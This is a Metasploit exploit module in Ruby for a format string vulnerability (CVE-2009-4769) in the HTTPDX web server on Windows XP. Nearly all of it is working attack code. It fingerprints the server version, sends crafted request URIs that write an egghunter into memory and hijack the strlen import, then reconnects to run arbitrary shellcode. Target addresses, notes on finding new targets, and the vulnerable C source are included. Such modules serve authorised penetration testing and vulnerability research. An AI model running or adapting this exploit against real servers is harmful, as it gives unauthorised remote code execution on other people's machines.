HTTPDX tolog() Function Format String Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Egghunter
  include Msf::Exploit::FormatString

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in HTTPDX HTTP server.
        By sending a specially crafted HTTP request containing format specifiers, an
        attacker can corrupt memory and execute arbitrary code.

        By default logging is off for HTTP, but enabled for the 'moderator' user
        via FTP.
      },
      'Author'         =>
        [
          'jduck'    # original discovery and metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2009-4769' ],
          [ 'OSVDB', '60182' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          # format string max length
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x25\x2f\x3f\x5c",
          'DisableNops'	=>  'True',
          'StackAdjustment' 	=> -1500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true }  ],

          #
          # specific targets
          #
          [	'httpdx 1.4 - Windows XP SP3 English',
            {
              'PadBytes' 	=> 2,
              'NumPops' 	=> 22,
              'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
            }
          ],
          [	'httpdx 1.4.5 - Windows XP SP3 English',
            {
              'PadBytes' 	=> 2,
              'NumPops' 	=> 22,
              'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
            }
          ],
          [	'httpdx 1.4.6 - Windows XP SP3 English',
            {
              'PadBytes' 	=> 2,
              'NumPops' 	=> 22,
              'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
            }
          ],
          [	'httpdx 1.4.6b - Windows XP SP3 English',
            {
              'PadBytes' 	=> 2,
              'NumPops' 	=> 22,
              'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
            }
            ],
          [	'httpdx 1.5 - Windows XP SP3 English',
            {
              'PadBytes' 	=> 2,
              'NumPops' 	=> 22,
              'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
            }
          ],

          #
          # Debugging target
          #
          [ 'Debug target',
            {
              'PadBytes'  => 2,
              'NumPops'   => 22,
              'Writable'  => 0xfeedfed5,
              'FlowHook'  => 0xdeadbeef
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-11-17'))
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
 (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
  end


  def check
    version = get_version
    if version
      print_status("HTTPDX version detected : #{version}")
      if (version =~ /1\.4/) or (version == "1.5")
        return Exploit::CheckCode::Appears
      end
    end
    Exploit::CheckCode::Safe
  end


  def exploit

    # an empty host header gives us 512 bytes in the client structure
    # (the client->filereq and client->host buffers are adjacement in memory)
    datastore['VHOST'] = ''

    # Use a copy of the target
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")

      version = get_version
      if not version
        fail_with(Failure::Unknown, "The server doesn't appear to be running a vulnerable version of HTTPDX")
      end

      re = Regexp.new(Regexp.escape(version)+' - ', Regexp::IGNORECASE)
      self.targets.each do |t|
        if (re.match(t.name))
          mytarget = t
          break
        end
      end

      if (not mytarget)
        fail_with(Failure::Unknown, 'Unable to automatically detect exploitation parameters')
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
    end

    # proceed with chosen target...

    # '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /'
    ip_length = Rex::Socket.source_address(datastore['RHOST']).length
    num_start = ip_length + 2 + 29 + 3 + 3 + 2

    # use the egghunter!
    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

    # write shellcode to 'writable' (all at once)
    fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
    fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
    print_status(" payload format string buffer is #{fmtbuf.length} bytes")

    send_request_raw({ 'uri' => fmtbuf })

    # write 'writable' addr to flowhook (execute shellcode)
    # NOTE: the resulting two writes must be done at the same time
    fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
    # add payload to the end
    fmtbuf << eh_egg
    fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
    print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

    send_request_raw({ 'uri' => fmtbuf })
    disconnect

    # connect again to trigger shellcode
    select(nil, nil, nil, 1.5)
    print_status(" triggering shellcode now")
    print_status("Please be patient, the egg hunter may take a while...")
    connect

    handler
  end


  def get_version
    info = http_fingerprint # Custom version extraction / automatic target
    if info and (info =~ /httpdx\/(.*) \(Win32\)/)
      return $1
    end
    nil
  end
end


=begin

also present in 1.5 (presumably all versions in between)

1.4/httpdx_src/ftp.cpp:

   544      //printf(out);
   545      char af[MAX] = {0};
   546      if(isset(out) && client->serve.log || client->serve.debug)
   547          snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
   548      if(isset(out) && client->serve.log)
   549          tolog(client->serve.accessl,af);
   550      if(isset(out) && client->serve.debug)
   551          printf(af);

1.4/httpdx_src/http.cpp:

   172      char af[MAX] = {0};
   173      if(client.serve.log || client.serve.debug)
   174          snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
   175      if(client.serve.log)
   176          tolog(client.serve.accessl,af);
   177      if(client.serve.debug)
   178          printf(af);

=end